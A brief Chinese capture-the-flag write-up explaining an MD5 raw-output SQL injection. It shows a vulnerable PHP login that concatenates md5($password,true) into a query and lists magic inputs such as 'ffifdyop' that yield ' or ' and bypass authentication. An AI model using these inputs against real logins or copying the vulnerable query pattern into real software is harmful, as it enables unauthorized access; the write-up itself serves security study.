通过扫描出现robots.txt
里面有个备份文件
下载打开
<?php
$flag="";
$password=$_POST['password'];
if(strlen($password)>10){
die("password error");
}
$sql="select * from user where username ='admin' and password ='".md5($password,true)."'";
$result=mysqli_query($con,$sql);
if(mysqli_num_rows($result)>0){
while($row=mysqli_fetch_assoc($result)){
echo "登陆成功<br>";
echo $flag;
}
}
?>
1
发现是md5注入
$sql="select * from user where username ='admin' and password ='".md5($password,true)."'";
关键点在md5($password,true):
正常的md5是32位十六进制字符串
加了true参数后会返回16位的原始二进制格式
这个二进制如果包含特殊字符就可能导致SQL注入
可以产生的值有 ffifdyop 二进制处理存在‘or’ 或 "or"
ffifdyop -> ' or '6�]��!r,��b
129581926211651571912466741651878684928 -> ' or 'iV\x06�L�p�\x1A�[�\x14
w78876 -> ' or '�f���#�,�\x1A�\x16
只是ffifdyop最常用